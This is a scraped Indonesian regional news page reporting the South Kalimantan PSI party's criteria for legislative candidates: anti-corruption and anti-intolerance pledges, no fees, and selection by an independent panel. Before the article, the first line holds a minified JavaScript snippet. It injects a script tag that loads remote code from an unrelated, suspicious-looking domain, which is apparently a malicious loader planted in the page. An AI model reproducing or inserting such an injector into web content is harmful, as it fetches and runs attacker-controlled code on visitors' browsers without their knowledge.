(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Politik

Ini Kriteria Caleg Diinginkan DPW PSI Kalsel


BANJARMASIN, Partai Solidaritas Indonesia (PSI) tegaskan bahwa untuk menjadi calon legislatif (Caleg) dari PSI harus memiliki dua komitmen yang harus ditandatangi saat mendaftarkan diri untuk menjadi Caleg.

Sekjen DPW PSI Kalsel Yogi Adhiatma menyebutkan, semua kalangan boleh masuk, pada prinsipnya tidak korupsi dan anti intoleransi. Yogi menyampaikan, PSI melawan korupsi dan terus mendukung penguatan KPK dan menolak segala upaya pelemahan terhadap lembaga anti rasuah tersebut.

“Sulit untuk membayangkan upaya pembersihan itu dilakukan partai yang politisinya terlibat dalam upaya untuk melemahkan KPK, ataupun yang selama ini banyak kadernya terlibat korupsi,” katanya di hadapan awak media, Senin (5/3).

Dia juga menambahkan, PSI merupakan partai yang anti intoleransi. PSI merupakan parpol yang menggunakan platform anti intoleransi. PSI sangat sadar bahwa keragaman Indonesia adalah sebuah kekuatan bila didasari atas penghormatan dan pengakuan hak-hak setiap warga negara. “Apapun suku, agama, ras dan golongan lainnya dengan mengedepankan prinsip keadilan. PSI akan melawan segala bentuk intoleransi di Indonesia,” tegasnya lagi.

Yogi menambahkan, dalam perekrutan caleg PSI tidak akan ada meminta adanya mahar yang harus dikeluarkan oleh si  bakal Caleg. “Tidak ada iuran yang harus disetorkan oleh Caleg,” ucapnya.

Dia menyampaikan, dalam rekruitmen Caleg dilakukan secara terbuka. Bagi PSI, salah satu akar permasalahan korupsi adalah proses rekruitmen yang tertutup, eksklusif dan nepotisme. Sedikit sekali tempat bagi mereka yang kompeten, jujur dan bersih. “Untuk itu, PSI membangun terobosan baru dalam proses rekruitmen Caleg. Proses tersebut berlangsung dengan melibatkan panelis independent,” ujarnya.

Dia menambahkan, seleksi caleg akan ada tim independen yang melakukan seleksi dan penilaian terhadap bakal caleg sehingga dari hasil penilaian tersebut dapat ditentukan nomor urut caleg.

“Jadi dalam penentuan nomor urut, bukan berarti berapa Caleg punya, tetapi berdasarkan pada hasil penilaian terhadap Caleg tersebut,” pungkasnya. (abdullah)

Reporter : Abdullah
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Camat Lurah Boleh Jabat Sekretariat PPK PPS

KANALKALIMANTAN.COM, BANJARBARU - Camat dan Lurah diperbolehkan menjabat sebagai Sekretariat Panitia Pemungutan Kecamatan (PPK) maupun… Read More

10 jam ago

Sekretaris Nasdem Kalsel Melamar Golkar, Rozanie Sadar Cukup Posisi Calon Wagub

KANALKALIMANTAN.COM, BANJARMASIN - Pemilihan Kepala Daerah (Pilkada) serentak 2024, sejumlah tokoh mulai mencari dukungan partai… Read More

11 jam ago

Mesin Terbakar di Udara, Pesawat Jemaah Haji Kloter 5 Embarkasi Makassar Kembali Mendarat

KANALKALIMANTAN.COM, MAKASSAR - Momen mencekam mewarnai penerbangan 450 jemaah haji asal Sulawesi Selatan (Sulsel) terjadi,… Read More

11 jam ago

Meteran Air Leding PAM Bandarmasih Hilang, Biaya Pergantian Ditanggung Pelanggan

KANALAKALIMANTAN.COM, BANJARMASIN - Pelanggan air bersih Perusahan Air Minum (PAM) Bandarmasih Kota Banjarmasin Provinsi Kalimantan… Read More

11 jam ago

Layanan Posyandu Terintegrasi di Desa Manusup

KANALKALIMANTAN.COM, KUALA KAPUAS – Upaya memberikan pelayanan kesehatan dasar kepada masyarakat terus dilakukan Pos Pelayanan… Read More

12 jam ago

Kampung KB Guntung Manggis Masuk Enam Besar Nasional

KANALKALIMANTAN.COM, BANJARBARU - Dukungan segenap unsur pemerintahan mengantarkan Kampung Keluarga Berkualitas (KB) Kelurahan Guntung Manggis… Read More

12 jam ago

This website uses cookies.